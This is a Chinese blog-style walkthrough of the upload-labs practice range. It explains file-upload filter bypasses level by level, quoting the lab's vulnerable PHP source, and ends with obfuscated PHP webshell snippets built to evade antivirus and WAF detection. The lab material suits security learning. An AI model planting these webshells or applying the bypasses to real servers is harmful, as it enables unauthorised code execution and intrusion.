本文借助经典靶场upload-labs来写一下文件上传的绕过手法
靶场地址:https://github.com/c0ny1/upload-labs
pass-01 前端限制
前端限制,做个一句话木马修改为图片后缀然后burp抓包修改回php即可绕过
检查元素找到webshel的位置,蚁剑连接即可
pass-02 MIME文件类型绕过
这一关需要进行MIME的修改绕过
传个马然后开始抓包(其实这里用第一关的方法也完全可以,因为传图片MIME类型也是图片的)
这里我直接传个php文件
连接蚁剑
pass-03 更多可解析类型绕过
这一关上传其他可以解析的文件如php3后缀的webshell来绕过
还给重命名了,蚁剑连接shell
成功
pass-04 .htaccess绕过
这关没有限制.htaccess文件,上传一个.htaccess文件替换掉原本的文件,使其可以解析指定的文件为php,即可实现webshell的上传和连接
前提条件:1.mod_rewrite模块开启。2.AllowOverride All
先上传一个.htaccess
文件,内容如下:
SetHandler application/x-httpd-php
它的意思是让任何扩展名的文件都可以解析为php来执行,
如果要指定某种文件,在这个语句后面加上指定的文件扩展名即可
如
SetHandler application/x-httpd-php .jpg
意为使.jpg
后缀的文件可以被解析为PHP执行。
替换成功,下面上传图片文件即可,都不用抓包了,直接就可以审查元素看路径然后连接,因为现在所有的文件都会被解析为php执行
连接蚁剑
成功
pass-05 点空格点绕过
提示存在php文件
看一下源码可以看到通过黑名单等方式基本过滤了大小写之类的绕过,但是存在点空格点绕过,与下面的pass-10一样
成功
pass-06 大小写绕过
这一关不让传这些东西了,基本都过滤了,但是查看源码发现没有强制转换大小写,只使用限制不全面的黑名单限制了大小写,那么我们抓包修改后缀为phP即可绕过
成功连接webshell
pass-07 空格绕过
这一关一直出问题,怀疑是buu的靶机是在linux系统上的,Windows的系统特性无法利用,所以用了本机的Windows环境。
看起来跟上一关没啥区别,查看源码发现对后缀进行了大小写处理
所以大小写无法绕过了,但是可以利用一个Windows的特性,后缀的空格会被去掉,我们在后缀尾部加个空格,这样可以绕过黑名单且在存入系统的时候可以去掉空格,恢复为php
连接shell成功,由于是在本地,我们还可以看看目录,确实是去掉空格直接保存为了php文件
pass-08 点绕过
本关使用了本地Windows环境
这关过滤了空格但没有过滤点,可以使用点绕过,原理与上一关类似
上传Image.php.
,第二个.
及其之后的会被删除,只保留前面的
连接成功
pass-09 ::$DATA文件流特性绕过
本地Windows环境
没有过滤::$DATA
字符串
利用Windows文件流特性绕过,文件名改成Image.php::$DATA
,上传成功后保存的文件名其实是Image.php
连接成功
pass-10 点空格点绕过
看一下源码,依旧用黑名单过滤了所有的解析脚本后缀和大小写绕过之类的,但是它是先删除点,再删除空格,那是不是意味着我们可以牺牲一个.
和来给最后一个
.
挡枪呢=。=
这里使用点空格点
来绕过
这样存入进去的就是Image.php了,我们直接可以蚁剑连接webshell
pass-11 双写后缀绕过
继续使用buu的环境
会去除这些字符,但是看一下代码,并没有直接过滤
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
所以可以借鉴sql注入中的双写注入的思路,将后缀双写即可(注意删除是从前往后删除,把被删除的php往前放,防止出现非预期)
连接成功
pass-12 文件路径%00截断
本机Windows环境,且需要具备以下条件
- php版本小于5.3.29
- magic_quotes_gpc = Off
提示上传路径可控
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
查看源码发现控制路径的参数save_path
,分析第8行代码可以得知文件的存储路径是由传递的路径参数和随机数+时间+文件名,我们可以上传Image.jpg
然后通过指定文件路径来重命名这个文件,后面拼接的那个文件名可以用%00截断来截掉。
(这里只是显示这样,存进系统的是Image.php)
连接蚁剑
pass-13 文件路径0x00截断
提示与上题相同
但是看一下源码
<?php
include '../config.php';
include '../head.php';
include '../menu.php';
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>
这题控制文件路径的变量是用POST传参的,所以%00不会被像GET方式那样自动解码,所以我们应该在hex模块中对应的地方修改
蚁剑连接
pass-14 图片马联动文件包含
本关要求上传一个图片马,审计代码
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
可以知道这个关卡是通过读取文件头来判断是否为合法文件的,那么我们做一个一句话木马并在前面加个图片头就可以了。
靶场根目录有个文件包含漏洞的php文件
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
访问这个文件并传入图片马的路径参数
访问只显示了伪造的文件头,说明php代码已被解析执行,上传成功。
同理,jpg和png的格式只要伪造对应的文件头即可。
pass-15 图片马绕过getimagesize()
本题与上一题任务相同,但是提示信息说使用了getimagesize()
来检查是否为图片文件
查看源码
我们首先需要对getimagesize()这个函数有一定的了解:
getimagesize ( string $filename [, array &$imageinfo ] ) : array
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。
这里是用了这个函数来获取了图片的16进制信息,然后通过image_type_to_exension()
来获取图片后缀,再用stripos()
函数来判断指定的types是否在获取的文件后缀中出现过
跟上一关一样,直接传图片马然后用include.php包含验证即可
php代码被解析,上传成功
其他类型的文件类似
pass-16 图片马绕过exif_imagetype()
本关本地环境有问题,用了buu的在线靶场
exif_imagetype()
读取一个图像的第一个字节并检查其签名。本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER[‘HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。
同样使用图片马即可绕过,过程同pass-14,15
需要修改配置文件打开php_exif选项
服务器配置说明:
1.在php.ini文件中找到;extension=php_exif.dll,去掉前面的分号 2.在php.ini文件中找到;extension=php_mbstring.dll,去掉前面的分号,并将此行移动到extension=php_exif.dll之前,使之首先加载*。
3.找到[exif]段,把下面语句的分号去掉。
;exif.encode_unicode = ISO-8859-15
;exif.decode_unicode_motorola = UCS-2BE
;exif.decode_unicode_intel = UCS-2LE
;exif.encode_jis =
;exif.decode_jis_motorola = JIS
;exif.decode_jis_intel = JIS
重启php
上传图片马
用include.php验证下
验证成功,php代码已被解析。
pass-17 二次渲染
本题对用户上传的图片进行了二次渲染,也就是将其重新渲染做了个与原来相同的图片,渲染过程中会验证是否为正确格式的图片,所以我们不能像之前那样只在木马前加个文件头,需要在真正的图片中添加木马。
我们可以先去上传一个图片马试试
制作图片马
上传
include包含下看看
并没有返回phpinfo的信息,说明失败了,此时我们把文件下载回来看看有什么不同
经过二次渲染,图片后面添加的php语句没了。绕过方式是看一下渲染过程中没有被修改的部分,在其中添加php代码
通过010editor的文件比较工具发现了两个文件的匹配处,说明这里应该没被渲染,可以在此加入php代码
再次上传发现会检测出这不是jpg,看wp说需要python脚本,暂且搁置下。
pass-18 条件竞争
第十八关主要是对条件竞争的考察,我们看代码他是先move_upload_file
将图片上传上去,才开始进行判断后缀名、二次渲染。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染或者重命名。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。
操作大概就是一边一直上传图片马,一边一直访问include.php去包含图片马,总有一次能访问出来(卡他的bug)
我们抓发送图片的包发给Intruder模块去进行爆破上传
可以看到可以上传图片成功
在上传图片的同时不断访问include.php
刷新几次就可以成功
pass-19 条件竞争
本关据说存在一些问题,上传路径不对,做了一些修改
这关跟上一关类似,但是先检查了后缀名,然后再上传,再二次渲染,所以流程基本和上一关类似,做个图片马配合Apache的解析漏洞就好了。
快速重复上传会让文件名字不被重命名就保存
然后另一边不断访问这个文件,直到访问到,说明你的文件已经没被重命名就保存了、
后面利用Apache的解析漏洞(会跳过浏览器不能解析的后缀),看了看源码中的白名单
发现.7z
这个后缀在白名单且不会被Apache解析,所以我们用这个来构造文件名,重复上述操作
突破成功
pass-20 move_uploaded_file()突破
这道题有两个解题思路,一个是利用文件路径的00截断,但是这个前面已经用过了,所以我们尝试新姿势
move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.
所以=。=
文件是乖巧的jpg格式,保存进去就变成php熊孩子
访问它
成功
pass-21 move_uploaded_file()突破
先直接传个文件进去看看
存在白名单限制
抓个包
emmm。。。
再看看源码,发现
这里判断条件是数组,而上面的$ext是取了$file数组最后的值,结合前面的请求报文,save_name可能存在数组的绕过
再抓个包修改下试试
把他拆分掉第三部分是.jpg,所以就会上传。实际上他上传上去的东西是 upload-21.php/.jpg 上传上去的东西就是upload-21.php。实现了绕过。
蚁剑连接或者直接访问(添加了phpinfo,可以用于验证是否被解析)
成功
有关webshell的免杀
这一块因为一直懒得搞环境,所以一直没有具体实际绕过杀软,之前看到一位师傅写的文章,突发奇想这里整理点免杀的思路顺便存一下这个文章
文章在这里,师傅tql:https://mp.weixin.qq.com/s/ZvQOJvJYAUMPWbLtLc5DZw
字符串变形–简单字符串拼接
<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c = $a.$s.$_GET["func1"];
$c($func);
?>
一个简单的混淆,把命令执行的语句拆分开,然后传参补全危险函数并使其执行。
看师傅文章的免杀效果是可以过某狗4.0的,但是一些收费的waf就不能这么简单过了。
字符串变形–利用字符串函数
这里列举一下常用的字符串函数
ucwords() //把每个单词的首字符转换为大写
ucfirst() //首字符转换为大写
trim() //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //把所有字符转换为大写
strtolower() //把所有字符转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码
chr() //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode() //字符串压缩
gzuncompress()、gzinflate()、gzdecode() //字符串解压
base64_encode() //base64编码
base64_decode() //nase64解码
pack() //数据装入一个二进制字符串
unpack() //从二进制字符串对数据进行解包
这里浅试一下base64编解码的免杀
<?php
$func = base64_decode($_GET["func"]);
#cGhwaW5mbygp
$a = "a";
$s = "s";
$c = $a.$s.$_GET["func2"];
$c($func);
?>
这里也是没有试,作者师傅的效果是可过某塔收费waf(对就是我用的某塔。。。而且我还没钱买收费的waf… …QAQ)
好的我就先记录到这了,文章后面的几种免杀我研究研究再继续更新。
师傅们看到这了,有什么问题的话欢迎指点菜鸡奥(=。=)